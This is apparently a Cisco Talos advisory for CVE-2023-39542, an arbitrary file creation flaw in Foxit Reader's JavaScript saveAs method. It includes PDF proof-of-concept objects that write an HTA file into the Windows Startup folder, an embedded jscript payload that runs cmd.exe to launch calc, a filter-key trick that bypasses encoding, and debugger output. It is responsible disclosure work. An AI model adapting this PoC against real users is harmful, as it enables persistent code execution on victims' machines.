CVE-2023-39542
A code execution vulnerability exists in the Javascript saveAs API of Foxit Reader 12.1.3.15356. A specially crafted malformed file can create arbitrary files, which can lead to remote code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Foxit Reader 12.1.3.15356
Foxit Reader - https://www.foxitsoftware.com/pdf-reader/
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-73 - External Control of File Name or Path
Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.
Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists an arbitrary file creation vulnerability in the way Foxit Reader handles the saveAs
method of the Doc
object. The saveAs
method saves the file to the device-independent path specified by the cPath
parameter. The vulnerability occurs when a file is created without validating its path and type. This allows the creation of files of dangerous types such as HTA. Subsequent execution of such files can lead to arbitrary code execution. This can be illustrated by the following proof-of-concept code:
5 0 obj
<</Type/Action/S/JavaScript/JS(
function main() {
this.saveAs("/c/users/" + identity.loginName + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/exploit.hta");
}
main();
)>>
endobj
6 0 obj
<</Length 6/Params<</ModDate(D:20230731134730-08'00')/Size 6/CheckSum<FA0903293EC8FC1F19087D0EB2FFDED8>/CreationDate(D:20230731133537-08'00')>>/Filter/FlateDecode/Subtype/application#2Fhta/Type/EmbeddedFile>>
stream
<script language='jscript'>var cmd = 'cmd.exe /c calc.exe'; new ActiveXObject('WScript.Shell').Run(cmd);</script>
endstream
endobj
Here, the saveAs
method creates an HTA file in the Startup
folder. Files in the Startup
folder execute automatically on system startup. The content of the new file is data of the above poc PDF file. The Foxit application encodes the objects before writing them to the new file. This encoding transforms the attacker-controlled suspicious code into the encoded stream, which may not be a valid suspicious code. Execution of transformed code may not be possible unless it is decoded first.
One way to bypass this is to simply provide an encoded object with a stream object containing a valid suspicious code. For example, the object 6
contains the Filter
key, with a value that indicates how the stream object is encoded. This tricks the Foxit application into writing the object 6
directly into the new file without performing any type of encoding on the object. The stream object contains JavaScript to run the calc.exe
application, so on the execution of the HTA file a calc.exe
application will pop up. We can observe the creation of an HTA file in the debugger:
0:000> g
Breakpoint 1 hit
eax=00000000 ebx=18b335a8 ecx=00000000 edx=07500000 esi=0b07ff58 edi=00000000
eip=0094e893 esp=073fd398 ebp=073fe004 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x4bd83:
0094e893 6a00 push 0
0:000> p
eax=00000000 ebx=18b335a8 ecx=00000000 edx=07500000 esi=0b07ff58 edi=00000000
eip=0094e895 esp=073fd394 ebp=073fe004 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x4bd85:
0094e895 6a02 push 2
0:000> p
eax=00000000 ebx=18b335a8 ecx=00000000 edx=07500000 esi=0b07ff58 edi=00000000
eip=0094e897 esp=073fd390 ebp=073fe004 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x4bd87:
0094e897 ff7508 push dword ptr [ebp+8] ss:0023:073fe00c=0b07ff58 ;<----------- [1]
0:000> dd 0b07ff58
0b07ff58 003a0063 0075005c 00650073 00730072
0b07ff68 0064005c 00760065 0041005c 00700070
0b07ff78 00610044 00610074 0052005c 0061006f
0b07ff88 0069006d 0067006e 004d005c 00630069
0b07ff98 006f0072 006f0073 00740066 0057005c
0b07ffa8 006e0069 006f0064 00730077 0053005c
0b07ffb8 00610074 00740072 004d0020 006e0065
0b07ffc8 005c0075 00720050 0067006f 00610072
0:000> du 0b07ff58 ;<--------------------------------------- [2]
0b07ff58 "c:\users\dev\AppData\Roaming\Mic"
0b07ff98 "rosoft\Windows\Start Menu\Progra"
0b07ffd8 "ms\Startup\exploit.hta"
0:000> p
eax=00000000 ebx=18b335a8 ecx=00000000 edx=07500000 esi=0b07ff58 edi=00000000
eip=0094e89a esp=073fd38c ebp=073fe004 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x4bd8a:
0094e89a e821065701 call FoxitPDFReader!safe_vsnprintf+0x531760 (01ebeec0) ;<----------- [3]
0:000> p
eax=0ae29460 ebx=18b335a8 ecx=ffffffff edx=07500000 esi=0b07ff58 edi=00000000
eip=0094e89f esp=073fd38c ebp=073fe004 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x4bd8f:
0094e89f 83c40c add esp,0Ch
At [1]
, the first argument of the method at [3]
is pushed onto the stack. The value being pushed comes from the stack, and its value can be observed at [2]
. The HTA file is passed to the method, and the execution of the method successfully creates the HTA file.
2023-08-28 - Vendor Disclosure
2023-09-12 - Vendor Patch Release
2023-11-27 - Public Release
Discovered by Kamlapati Choubey of Cisco Talos.